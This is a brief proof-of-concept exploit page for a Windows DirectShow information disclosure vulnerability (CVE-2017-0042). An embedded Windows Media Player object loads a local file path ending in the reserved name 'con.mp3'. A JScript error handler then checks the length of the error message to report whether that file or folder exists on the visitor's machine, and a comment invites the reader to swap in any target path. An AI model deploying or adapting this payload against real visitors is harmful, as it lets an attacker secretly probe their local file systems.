Microsoft Windows DirectShow Information Disclosure Vulnerability(CVE-2017-0042)

                                                <!--
	Credit: @qab && @shhnjk
	Keep changing param.url to your desired file to detect. 
	This works on folders as well ( ex: file://C://Windows//con.mp3 )

	To see why we are using a reserved windows name 'con.*' remove it and try to 'detect' a file without it.
-->
<OBJECT id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
<PARAM NAME="URL" VALUE="file://C://Windows//win.ini//con.mp3">
<param name="captioningID" value="displaylyric" />
<PARAM NAME="autoStart" VALUE="-1">
</OBJECT>
<SCRIPT LANGUAGE = "JScript"  FOR = Player  EVENT = error()>

if(Player.error.item(0).errorDescription.length==189){
	alert('File not detected.');
}
else{
	alert('File detected!');
}
</SCRIPT>